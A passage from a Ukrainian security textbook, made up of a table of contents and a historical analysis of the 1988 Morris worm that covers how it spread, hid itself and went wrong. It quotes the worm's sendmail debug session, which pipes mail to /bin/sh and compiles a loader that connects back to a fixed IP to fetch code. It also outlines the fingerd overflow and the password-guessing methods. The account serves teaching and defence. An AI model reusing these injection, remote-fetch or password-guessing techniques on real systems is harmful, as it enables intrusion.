
- •Безпека інформаційно- комунікаційних систем
- •Isbn 966-552-167-5
- •1.1. Термінологія
- •1.1.1. Системи, в яких здійснюється захист інформації
- •1.1.2. Завдання захисту інформації
- •1.1.3. Загрози і вразливості
- •1.1.4. Комплексна система захисту інформації
- •1.1.5. Об'єкти захисту та їхні властивості
- •1.1.6. Розроблення й оцінювання захищених систем
- •1.2. Загрози безпеці інформації
- •1.2.1. Класифікація загроз
- •1.2.2. Перелік типових загроз безпеці
- •1.2.3. Класифікація атак
- •1.2.4. Методика класифікації загроз stride
- •1.2.5. Модель загроз
- •1.3. Порушники
- •1.3.1. Визначення терміну «хакер»
- •1.3.2. Наслідки віддій порушників
- •1.3.3. Модель порушника
- •2.1. Рівні інформаційно-комунікаційної системи
- •2.2. Функціональні сервіси безпеки і механізми, що їх реалізують
- •2.2.1. Таксономія функцій систем захисту
- •2.3. Основні підсистеми комплексу засобів захисту
- •2.3.1. Підсистема керування доступом
- •2.3.2. Підсистема ідентифікації й автентифікації
- •2.3.3. Підсистема аудита
- •Підсистема забезпечення цілісності
- •Криптографічна підсистема
- •3.1. Історична довідка
- •3.2. Основні поняття
- •3.3.1. Симетричне шифрування
- •3.3.2. Асиметричне шифрування
- •4.1. Загальні поняття теорії захисту інформації
- •4.2. Позначення, аксіоми та визначення
- •4.3. Основні типи політик безпеки
- •4.4. Математичні моделі безпеки
- •4.4.1. Моделі дискреційної політики безпеки
- •4.4.2. Моделі мандатної політики безпеки
- •5.1. Передумови виникнення вразливостей у комп'ютерних системах
- •5.2. Класифікація вад захисту
- •5.2.1. Класифікація вад захисту за причиною їх появи
- •5.2.2. Класифікація вад захисту за їх розміщенням у системі
- •5.2.3. Класифікація вад захисту за етапами їх появи
- •5.3. Класифікація помилок, що виникають у процесі програмної реалізації системи
- •5.4. Помилки переповнення буфера
- •5.4.1. Переповнення буфера у стеку
- •5.4.2. Переповнення буфера у статичній або динамічній пам'яті
- •5.4.3. Помилка переповнення в один байт
- •5.5. Помилки оброблення текстових рядків
- •5.5.1. Використання конвеєра
- •5.5.2. Переспрямування введення-виведення
- •5.5.3. Спеціальні символи
- •5.6. Люки
- •5.6.1. Режим debug у програмі sendmail
- •6.1. Класифікація шкідливого програмного забезпечення
- •6.2. Програмні закладки
- •6.2.1. Функції програмних закладок
- •6.2.2. Шпигунські програми
- •6.2.3. «Логічні бомби»
- •6.2.4. Люки — утиліти віддаленого адміністрування
- •6.2.5. Несанкціонована робота з мережею
- •6.2.6. Інші програмні закладки
- •6.3. Комп'ютерні віруси
- •6.3.1. Файлові віруси
- •6.3.2. Завантажувальні віруси
- •6.3.3. Макровіруси
- •6.3.4. Скриптові віруси
- •6.3.5. Захист від комп'ютерних вірусів
- •6.4. Мережні хробаки
- •6.4.1. Класифікація мережних хробаків
- •6.4.2. Хробак Морріса
- •6.4.3. Сучасні мережні хробаки
- •6.5. «Троянські коні»
- •6.5.1. Соціальна інженерія
- •6.5.2. Класифікація «троянських коней»
- •6.5.3. Шпигунські троянські програми
- •6.5.4. Троянські інсталятори
- •6.5.5. «Троянські бомби»
- •6.6. Спеціальні хакерські утиліти
- •6.6.1. Засоби здійснення віддалених атак Засоби проникнення на віддалені комп'ютери
- •6.6.2. Засоби створення шкідливого програмного забезпечення
- •6.6.3. Створення засобів атак
- •7.1. Призначення стандартів інформаційної безпеки
- •7.2. Стандарти, орієнтовані на застосування військовими та спецслужбами
- •7.2.1. «Критерії оцінювання захищених комп'ютерних систем» Міністерства оборони сша
- •7.2.2. Інтерпретація і розвиток tcsec
- •7.2.3. Керівні документи Державної технічної комісії при Президенті Російської Федерації
- •7.3. Стандарти, що враховують специфіку вимог захисту в різних системах
- •7.3.1. Європейські критерії безпеки інформаційних технологій
- •7.4. Стандарти, що використовують
- •7.4.1. Концепція профілю захисту
- •7.4.2. Федеральні критерії безпеки
- •8.1. Законодавча і нормативна база захисту
- •8.1.1. Закон України «Про захист інформації
- •8.1.2. Нормативні документи системи
- •8.2. Оцінювання захищеності інформації,
- •8.2.1. Особливості термінології
- •8.2.2. Критерії захищеності інформації в комп'ютерних системах від несанкціонованого доступу
- •8.2.3. Класифікація автоматизованих систем
- •8.3. Керівні документи з вимогами до захисту інформації в інформаційних системах певних типів
- •8.3.1. Вимоги із захисту конфіденційної інформації
- •8.3.2. Вимоги до захисту інформації веб-сторінки від несанкціонованого доступу
- •9.1. Основні відомості
- •9.2. Базові поняття
- •9.3.2. Оцінювання об'єкта за «Загальною методологію»
- •9.3.3. Матеріали, необхідні для проведення кваліфікаційного аналізу
- •9.3.4. Три етапи здійснення кваліфікаційного аналізу
- •9.4. Структура основних документів «Загальних критеріїв»
- •9.4.1. Профіль захисту
- •9.4.2. Завдання з безпеки
- •1. Вступ.
- •5. Вимоги безпеки.
- •8. Обґрунтування.
- •10.1. Завдання апаратного захисту
- •10.2. Підтримка керування пам'яттю
- •10.2.1. Віртуальні адреси
- •10.2.2. Віртуальна пам'ять
- •10.2.3. Трансляція адрес
- •10.4. Особливості архітектури процесорів Intel х86
- •10.4.2. Селектори та дескриптори сегментів і сторінок
- •10.5.2. Сегментно-сторінковий розподіл пам'яті
- •10.6. Керування задачами
- •10.6.1. Виклик процедур
- •10.6.2. Виклик задач
- •10.6.3. Привілейовані команди
- •11.1. Загрози безпеці операційних систем
- •11.1.1. Сканування файлової системи
- •11.1.2. Викрадення ключової інформації
- •11.1.3. Добирання паролів
- •11.1.4. Збирання сміття
- •11.1.5. Перевищення повноважень
- •11.1.6. Програмні закладки
- •11.1.7. «Жадібні» програми
- •11.2. Поняття захищеної операційної системи
- •11.2.1. Підходи до побудови захищених операційних систем
- •11.2.2. Принципи створення захищених систем
- •11.2.3. Адміністративні заходи захисту
- •11.2.4. Політика безпеки
- •11.3.1. Основні функції кзз
- •11.3.2. Розмежування доступу
- •11.3.3. Ідентифікація, автентифікація й авторизація
- •11.3.4. Аудит
- •12.1. Історія створення unix
- •12.2. Архітектура системи
- •12.3.1. Модель безпеки системи unix
- •12.3.2. Підсистема ідентифікації й автентифікації
- •12.3.3. Підсистема розмежування доступу
- •12.3.4. Підсистема реєстрації
- •12.4. Адміністрування засобів безпеки unix 12.4.1. Особливості адміністрування
- •12.4.2. Утиліти безпеки
- •12.4.3. Характерні вразливості системи unix
- •13.1. Основні відомості про систему
- •13.1.1. Стисло про історію створення системи
- •13.1.2. Відповідність вимогам стандартів безпеки
- •13.2.1. Основні концепції
- •13.2.2. Компоненти системи захисту
- •13.3. Розмежування доступу
- •13.3.1. Основні принципи реалізації системи розмежування
- •13.3.2. Суб'єкти доступу Windows
- •13.3.3. Об'єкти доступу Windows
- •13.3.4. Стандартні настроювання прав доступу
- •13.3.5. Ідентифікація й автентифікація
- •13.3.6. Реалізація дискреційного керування доступом
- •13.4. Аудит
- •14.1. Обґрунтування застосування захищених ос для створення систем оброблення конфіденційної інформації
- •14.2. Система Trusted Solaris
- •14.2.1. Основні характеристики середовища Trusted Solaris
- •14.2.2. Керування доступом у середовищі Trusted Solaris
- •14.2.3. Окреме зберігання позначеної мітками
- •14.2.4. Адміністрування безпеки у середовищі Trusted Solaris
- •14.3. Операційна система Фенікс
- •14.3.1. Архітектура системи
- •14.3.2. Засоби захисту
- •14.3.3. Дискреційна модель ієрархічного керування
- •14.3.4. Засоби керування доступом
- •14.3.5. Перегляд протоколу аудита
- •14.3.5. Програмні інтерфейси системи
- •14.3.7. Застосування операційної системи Фенікс
- •15.1. Основні відомості про комп'ютерні мережі
- •15.1.1. Відкриті системи
- •15.1.2. Модель взаємодії відкритих систем
- •15.1.3. Стеки протоколів
- •15.2. Інтернет
- •15.2.1. Організація
- •15.2.2. Адресація
- •15.2.3. Маршрутизація
- •15.3. Загрози безпеці інформації у мережах
- •15.4. Безпека взаємодії відкритих систем
- •15.4.1. Сервіси безпеки
- •15.4.2. Специфічні механізми безпеки
- •15.4.3. Універсальні механізми безпеки
- •15.4.5. Подальший розвиток міжнародних стандартів
- •16.1. Протоколи прикладного рівня
- •16.1.1. Протокол Telnet
- •16.1.2. Протокол ftp
- •16.1.3. Мережні служби unix
- •16.2. Транспортні протоколи
- •16.2.1. Протокол udp
- •16.2.2. Протокол tcp
- •16.3. Протокол ip
- •16.3.1. Призначення й можливості протоколу iPv4
- •16.3.2. Атаки на протокол iPv4, пов'язані з адресацією Підміна адреси відправника
- •16.3.3. Атаки, що ґрунтуються на помилках оброблення фрагментованих пакетів
- •16.3.4. Можливості, закладені у протокол iPv6
- •16.4.1. Особливості протоколу
- •16.4.2. Модель загроз
- •16.4.3. Механізми захисту
- •16.4.4. Рішення з безпеки
- •Interdomain Route Validation
- •16.4.5. Оцінювання захищеності
- •16.5. Протоколи керування мережею 16.5.1. Протокол ісмр
- •16.5.2. Протокол snmp
- •17.1. Система електронної пошти
- •17.1.1. Архітектура системи електронної пошти
- •17.1.2. Формат повідомлення електронної пошти
- •17.1.3. Протокол smtp
- •17.1.4. Протокол рорз
- •17.1.5. Протокол імар4
- •17.1.6. Загрози, пов'язані з використанням електронної пошти
- •17.1.7. Анонімне відсилання електронної пошти
- •17.1.8. Атаки через систему електронної пошти
- •17.2.1. Принципи веб-технології
- •17.2.2. Протокол http
- •17.2.3. Динамічні сторінки
- •17.2.4. Уразливості серверного програмного забезпечення
- •17.2.5. Уразливості у сценаріях
- •17.2.7. Міжсайтовий скриптінг
- •17.2.8. Захист сервера від атак
- •17.2.9. Атака на клієнта
- •17.2.10. Безпека Java
- •18.1. Архітектура захищених мереж
- •18.1.1. Протидія прослуховуванню трафіку
- •18.1.2. Сегментація мережі
- •18.1.3. Резервування мережного обладнання і каналів зв'язку
- •18.2. Міжмережні екрани
- •18.2.1. Можливості міжмережних екранів
- •18.2.2. Рівні реалізації
- •18.2.3. Особливості персональних брандмауерів
- •18.2.4. Недоліки міжмережного екрана
- •18.3. Системи виявлення атак
- •18.3.1. Можливості систем виявлення атак
- •18.3.2. Різні типи систем виявлення атак
- •18.3.3. Інформаційні джерела
- •18.3.4. Аналіз подій у системах виявлення атак
- •18.3.5. Відповідні дії систем виявлення атак
- •18.4. Додаткові інструментальні засоби
- •18.4.1. Системи аналізу й оцінювання вразливостей
- •18.4.2. Перевірка цілісності файлів
- •Передавання інформації через захищені мережі
- •19.1. Захист інформації, що передається відкритими каналами зв'язку
- •19.2. Віртуальні захищені мережі
- •19.2.1. Різні види віртуальних захищених мереж
- •Vpn віддаленого доступу
- •19.2.2. Проблеми побудови віртуальних захищених мереж
- •19.3. Рівні реалізації віртуальних захищених мереж
- •19.3.1. Захист віртуальних каналів на сеансовому рівні
- •19.3.2. Захист віртуальних каналів на мережному рівні
- •19.3.3. Захист віртуальних каналів на канальному рівні
- •19.4. Вимоги нормативної бази до реалізації віртуальних захищених мереж в Україні
- •20.1. Порядок проведення робіт зі створення комплексної системи захисту інформації
- •20.1.1. Структура комплексної системи захисту інформації
- •20.1.2. Створення комплексної системи захисту інформації
- •Обґрунтування потреби у створенні системи захисту
- •20.2.2. Обстеження середовищ функціонування
- •20.2.3. Визначення й аналіз можливих загроз безпеці
- •20.2.4. Розроблення політики безпеки
- •20.2.5. Перелік вимог до захищеної системи
- •20.3. Розроблення технічного завдання на створення комплексної системи захисту інформації
- •20.4. Створення і впровадження комплексної системи захисту інформації
- •20.4.1. Розроблення проекту Порядок розроблення проекту
- •20.4.2. Введення комплексної системи захисту інформації в дію та оцінювання захищеності інформації в інформаційно-телекомунікаційних системах
- •20.4.3. Супроводження комплексної системи захисту інформації
- •21.1. Вимоги до кваліфікаційного аналізу
- •21.2. Організація державної експертизи
- •21.2.1. Положення про державну експертизу
- •21.2.2. Рекомендації з оформлення програм і методик проведення експертизи комплексної системи захисту інформації
- •21.3. Сертифікація засобів технічного захисту інформації
- •22.1. «Типове положення про службу захисту інформації в автоматизованій системі»
- •22.1.1. Загальні положення
- •22.1.2. Завдання та функції служби захисту інформації
- •22.1.3. Права й обов'язки служби захисту інформації
- •22.1.4. Взаємодія служби захисту інформації з іншими підрозділами та із зовнішніми організаціями
- •22.1.5. Штатний розклад і структура служби захисту інформації
- •22.1.6. Організація заходів служби захисту інформації та їх фінансування
- •22.2. Рекомендації щодо структури
- •22.2.1. Завдання захисту інформації в ас
- •22.2.2. Класифікація інформації, що обробляють в ас
- •22.2.3. Компоненти ас і технології оброблення інформації
- •22.2.4. Загрози інформації в ас
- •22.2.5. Політика безпеки інформації в ас
- •22.2.6. Календарний план робіт із захисту інформації в ас
- •22.3. Iso/iec 27002 «Інформаційні технології — Методики безпеки — Практичні правила управління безпекою інформації»
- •22.3.1. Загальні відомості про стандарт
- •22.3.2. Структура й основний зміст стандарту
- •22.3.3. Інші стандарти серн 27000
- •Грайворонський Микола Владленович Новіков Олексій Миколайович безпека інформаційно-комунікаційних систем
- •21100, М. Вінниця, вул. 600-річчя, 19.
6.4.2. Хробак Морріса
Насамперед розглянемо відомий хробак Морріса або, як його іноді називають, вірус Морріса. Інцидент із хробаком Морріса стався у листопаді 1988 року [64]. На той час Інтернет уже сформувався як глобальна мережа, побудована на протоколах стека TCP/IP, хоча такого сервісу, як WWW (World Wide Web — Все світня павутина, глобальна гіпертекстова система чи просто Веб), який наразі є найпоширенішим і з яким переважна більшість користувачів і пов'язує поняття «Інтернет», тоді ще не було. Зараз багато сервісів уже відійшли в минуле, а решта зазнали суттєвих змін. Частково це відбулося через більшу універсальність і привабливість веб-мережі, реалізованої за протоколом HTTP. Наприклад, став неактуальним Gopher. А деякі сервіси, номінально доступні й сьогодні, використовують із певними обмеженнями саме через їх недостатню захищеність (Telnet і FTP). Докладніше про це — у розділах 16, 17.
Також слід зазначити, що в тодішньому СРСР ситуація була дещо іншою. Існували окремі глобальні відомчі мережі (найвідоміші з них — автоматизовані
системи продажу залізничних і авіаційних квитків), однак єдиної мережі не було. Майже не використовували персональні комп'ютери. Тому відомості про комп'ютерні віруси, що іноді з'являлися в засобах масової інформації, сприймали як наукову фантастику. Щоправда, вірусів для персональних комп'ютерів у всьому світі було дуже мало, фактично інцидент із вірусом (хробаком) Морріса був першим випадком, який набув широкого розголосу. Саме він привів до переоцінки рівня довіри до захищеності комп'ютерних систем, а також став поштовхом для розвитку індустрії антивірусного програмного забезпечення. Хоча в подальшому основними об'єктами для атак вірусів стали персональні комп'ютери, хробак Морріса атакував зовсім не їх, а хости Інтернету (в сучасному розумінні — сервери).
Хробак Морріса — досить складний пакет програм, який реалізував (або намагався реалізувати) такі функції [15]:
♦ пошук цілей для атаки;
♦ проникнення на віддалені цілі;
♦ завантаження через мережу основного програмного коду, його компіляцію і запуск
на виконання;
♦ сповіщення про зараження чергової машини;
♦ заходи щодо приховування свого існування;
♦ перевірку на зараженість локальної та віддалених машин для запобігання
повторному зараженню.
Руйнівних функцій хробак не мав і, якби не деякі помилки автора програм и (Роберта Морріса-молодшого), ймовірно, міг би бути досить довго непоміченим у мережі. Однак помилки, яких автор припустився в алгоритмах перевірки на зараження машин, призвели до того, що хробак багаторазово заражав комп'ютери,
стрімко розмножувався і буквально за одну ніч перенавантажив мережу й окремі хости, аж до відмови в обслуговуванні. Як наслідок, було заражено 6200 хостів. Після виявлення хробака довелося зупинити, протестувати та перезавантажити ще 42 700 хостів. Багато зусиль було докладено до ідентифікації хробака, його видалення із заражених машин, здійснення аналізу коду, його дизасемблювання і документування. Прямі витрати від дії хробака становили майже 32 млн. доларів США [15]. Щоправда, до прямих витрат віднесли також витрати на внесення виправлень в атаковані версії системи UNIX, хоча деякі помилки були спричинені аж ніяк не хробаком Морріса. Це були вже відомі помилки, які давно потрібно було виправити. Тому ці витрати слід було б віднести на розробників систем і недбалих адміністраторів, які використовували надто слабкі паролі та дозволяли це робити користувачам. Разом із непрямими витратами, які виникли через невикористання машинного часу і відмови користувачам у доступі до систем, загальні витрати становили понад 98 млн. доларів США.
Детальний опис хробака Морріса можна знайти у [15] та в Інтернеті, ми наведемо лише основні відомості щодо реалізації його функцій.
Пошук цілей для атаки
Для здійснення пошуку було передбачено низку процедур:
сканування таблиці маршрутів і виявлення всіх адрес доступних шлюзів;
обирання номеру підмережі з-поміж усіх мережних адрес локальної машини (оскільки атаковано було переважно шлюзи, більшість атакованих машин мали кілька мережних інтерфейсів і кілька адрес) з подальшим перебиранням адрес у цих підмережах (за жодної процедури не робилося повного перебирання; крім того, після першої успішної атаки процедура завершувалася);
вибирання адрес зі списку з файлу /etc/hosts.equiv;
вибирання адрес із персональних файлів користувачів .forward; ці адреси було використано для спроб застосувати добрані паролі користувачів.
Проникнення на віддалені цілі
Хробак застосовував кілька стратегій проникнення, використання деяких із них залежало від того, яким чином була отримана адреса цілі. Метою проникнення було виконання на віддаленому комп'ютері команди від імені легального користувача, що давало змогу встановити з'єднання з атакуючим комп'ютером і завантажити з нього основний програмний код хробака. Розглянемо ці стратегії. 1. Використання режиму налагодження (debug) у поштовому демоні sendmail. Фрагмент коду взаємодії хробака Морріса із сервером після встановлення з'єднання з портом 25 (тобто за протоколом SMTP) виглядав приблизно так: debug
mail from: </dev/null>
rcpt to: <"Ised -e '1,/^$/'d | /bin/sh ; exit 0"> data
cd /usr/tmp
cat > ХІ4481910.с <'EOF'
<текст програми зловмисника> EOF
сс -о Х14481910 х14481910.с; Х14481910 128.32.134.16 32341 \ 8712440; rm -f х14481910 х14481910.С
quit
Коротко прокоментуємо цей фрагмент. Спочатку активізується режим debug; як відправник поштового повідомлення вказується /dev/null. З міркувань
безпеки було б доцільно взагалі не приймати пошту від таких «авторів», проте
ніщо не завадить зловмиснику вказати іншого (неіснуючого) відправника. У ролі одержувача повідомлення, користуючись режимом debug, задають конвеєр, в якому спочатку текст повідомлення отримує текстовий редактор sed, останньому вказано видалити перші рядки повідомлення, які містять службову інформацію поштового протоколу. Оброблений у такий спосіб текст містить лише програмний код (він починається після рядка data). Цей текст передається на виконання командній оболонці /Ьіп/sh. У каталозі /usr/tmp створюється файл х14481910.с, до якого записується вихідний текст програми. Далі йде команда скомпілювати програму під назвою ХІ4481910. Ця програма призначена для встановлення з'єднання з комп'ютером, з якого її було завантажено (параметри з'єднання надсилаються разом із кодом програми), і для завантаження з нього основного коду хробака. Після запуску програми видаляються файл її вихідного коду і скомпільований бінарний код.
Використання вразливості в fingerd.
Уразливість виникала через наявність типової помилки переповнення буфера у стеку (див. розділ 5). Хробак пересилав спеціально підготовлений рядок довжиною 536 байт, який містив програмний код, і передавав його на виконання. Як наслідок, активізувалася функція execve ("/bin/sh", 0, 0). У такий спосіб на віддаленій машині запускалася командна оболонка, доступна хробаку. Цій атаці піддавалися лише комп'ютери VAX (32-розрядні міні-ЕОМ, що випускалися у 1978-1990 роки) під керуванням операційної системи 4.3BSD.
Віддалене виконання виклику (гехес).
Для використання гехес необхідно було надіслати віддаленому хосту ім'я користувача і його незашифрований пароль. Автор хробака виходив із того, що користувачі часто мають однакове ім'я (login) на різних машинах, і тому використовував імена користувачів локального комп'ютера, які брав із файлу /etc/passwd разом із зашифрованими паролями (/etc/master.passwd або /etc/shadow тоді ще не використовували) та іншими відомостями про користувача. Паролі добирали у різні нехитрі способи: перевіряли пустий пароль, login (який набирали у зворотному порядку або двічі поспіль), реальне ім'я і прізвище користувача, а також застосовували авторський словник із 432 слів і системний словник /usr/dict/words, що використовувався в 4.3BSD і деяких інших системах для перевірки орфографії. Послідовність слів у словниках змінювалася, щоб відбувалося довільне добирання.
4. Запуск віддаленого командного інтерпретатора rsh.
Здійснювався з добраним паролем користувача, хоча rsh можна було запустити без пароля за умови, що віддалений хост «довіряє» локальному, тобто локальний хост занесено у файли /etc/hosts.equiv та (або) -/.rhosts на віддаленому хості. Тоді локальний користувач міг виконувати дії на віддаленій машині взагалі без автентифікації, якщо його login на обох машинах однаковий (і якщо це не суперкористувач).
Завантаження через мережу основного програмного коду
В усіх атаках, після того як основна частина вірусу потрапляла на нову машину, для завантаження із зараженої машини (тієї, з якої відбулося проникнення) використовувалася спеціальна процедура. Вона запускалася з командного рядка з трьома аргументами. Перший задавав IP-адресу зараженої машини, другий — номер порту для встановлення TCP-з'єднання, а третій — «магічне число», яке було паролем.
Процедура встановлювала з'єднання, параметри якого були задані аргументами командного рядка, відсилала магічне число і перевизначала стандартне введення на канал зв'язку із зараженою машиною. Потім по черзі із зараженої машини пересилалися всі файли, що складали вірус, і замість процедури запускалася командна оболонка sh, яка отримувала команди із зараженої машини.
Сповіщення про зараження чергової машини
У тексті хробака було виявлено спроби надіслати після зараження чергової машини один байт на адресу 128.32.137.13 (ernie.berkeley.edu) на порт 11357. Мабуть, автор хотів зібрати статистику щодо зараження машин. Ніякої іншої інформації, корисної для подальшого здійснення атак на ці системи (наприклад, імена користувачів, добрані паролі тощо), автор не збирав. Однак через помилку у виклику функції жодне повідомлення не було відправлено.
Заходи щодо приховування свого існування
Автор хробака передбачив цілу низку заходів щодо приховування його дій. Виконувані програми вірусу передавали аргументи через командний рядок, але. після оброблення аргументів усі вони видалялися, тому командний рядок виклику програми команда ps не показувала. Відразу після запуску видалялися і самі виконувані файли. Повідомлення про помилки відключалися. Розмір аварійного дампа встановлювався рівним нулю, тому у випадку аварійного завершення програма не залишала слідів. У процесі завантаження коду видалялися всі отримані по мережі файли, якщо під час їх передавання виникали будь-які помилки. Хробака було скомпільовано під ім'ям sh, тому навіть адміністратори, які помічали появу нового процесу в системі, не звертали на нього уваги, бо саме командна оболонка sh (Bourne shell або POSIX shell) найчастіше викликається у командних файлах.
Під час своєї роботи і процедура завантаження, і основна частина хробака розгалужувалися на батьківський процес і процес-нащадок. Після вживання заходів щодо втрати зв'язку нащадка з батьківським процесом останній завершувався. Таким чином, у системі для функціонуючого хробака батьківський процес завер-
шував своє існування, і можливість відстежити джерело його появи втрачалася. Для нового процесу з нуля починався і облік використаних ресурсів; це знижувало імовірність того, що хтось зверне на нього увагу. Усі текстові рядки, які містив файл хробака, було закодовано операцією XOR 81Н, що не давало змоги помітити деякі важливі речі, наприклад, які файли відкриває ця програма та які системні виклики робить.
Якби не помилки автора (див. далі), вжиті заходи могли б стати доволі ефективними, і хробак міг би дуже довго залишатися у мережі непоміченим.
Перевірка на зараженість машин для запобігання повторному зараженню
Ідея перевірки полягала в тому, що хробак, який перевіряв наявність інших хробаків, намагався встановити TCP-з'єднання з портом 23357. Якщо відповіді не було або після встановлення з'єднання в результаті обміну «магічними числами» фіксувалася помилка, хробак вважав, що інших хробаків немає, після чого він створював ТСР-сокет для зв'язку через порт 23357 і більше не намагався перевірити наявність інших хробаків. Якщо з'єднання встановлювалося, хробаки обмінювалися випадковими числами, за парністю суми яких вони визначали, який із них (той, що перевіряв, чи той, що відповідав) має завершити свою роботу.
Саме в цій частині коду автор хробака припустився низки грубих помилок, через які фактична поведінка хробака разюче відрізнялася від очікуваної.
Тайм-аути очікування відповідей було обрано невдало, і тому можна було вважати, що зараження машини кількома хробаками протягом 5-20 с відбувалося одночасно. Хробаки, що з'являлися на машині, разом намагалися перевірити її на наявність інших хробаків. Якщо до цього машину не було заражено, то всі вони не отримували відповіді та продовжували роботу. Але сокет міг встановити лише один із них, решта ж припиняли спроби зв'язатися з іншими хробаками. Коли до зараження одразу кількома хробаками машину вже було інфіковано, то через невдалий алгоритм зв'язку лише один із «нових» хробаків зв'язувався зі «старим», решта ж не могла зв'язатися, так само як і встановити сокет, і спокійно продовжували роботу у режимі мовчання. Отже, на машині з'являлося одразу кілька нових копій хробака. Ці копії діяли відносно незалежно, позаяк дія більшості алгоритмів була випадковою. Різні копії хробака обирали різні цілі для атак, а намагаючись встановити з'єднання, обирали різні паролі. Тому швидкість зараження інших машин була майже пропорційною кількості копій хробака на цій машині.
Зрештою, ще одної дуже грубої помилки автор припустився у процедурі завершення виконання хробака у разі виявлення іншої його копії. Усе, що робив хробак, — це встановлення змінної pleasequit, після чого його робота тривала, зокрема, із добирання паролів.
Через ці помилки хробак розповсюджувався надто швидко, багаторазово заражав машини і суттєво виливав на їхню продуктивність, тому і був виявлений у першу ж добу своєї активності в Інтернеті.
В історії з хробаком Морріса залишається багато «білих плям», як і в будь-якому гучному інциденті. Ніколи не стануть відомими справжні наміри Роберта Морріса-молодшого. Хоча його творіння не мало руйнівних функцій, він міг їх
легко додати. Морріс начебто не збирав критичну інформацію про скомпрометовані системи, але міг це зробити. Вочевидь, його хробак не був ще доведений до роботоздатного стану і, як це і було оголошено, «вирвався на волю» випадково під час тестування. Якби не це, через деякий час він став би досконалим інструментом розвідки в мережі. Адже відомо, що деякі з 6200 вражених ним хостів, які вважали надійно захищеними, належали спецслужбам або військовим і містили таємну інформацію.
Сам Роберт Морріс-молодший добровільно здався властям, відбувся умовним ув'язненням і порівняно невеликим штрафом, який жодним чином не відповідає завданим його діяльністю збиткам. До речі, хоча Роберт Морріс-старший, батько винуватця, був у США одним із провідних експертів із комп'ютерної безпеки, інцидент із вірусом ніяк не вплинув на його кар'єру. З іншого боку, якщо не брати до уваги авральну роботу адміністраторів з усунення наслідків дій хробака, результат від цього інциденту скоріше позитивний, ніж негативний. Головні моменти ми вже зазначили вище. Було переглянуто поточний рівень захищеності хостів, а також стратегічні підходи до побудови захищених систем і до підключення критичних систем до Інтернету. Фактично, рівень безпеки багатьох комп'ютерних систем було радикально підвищено.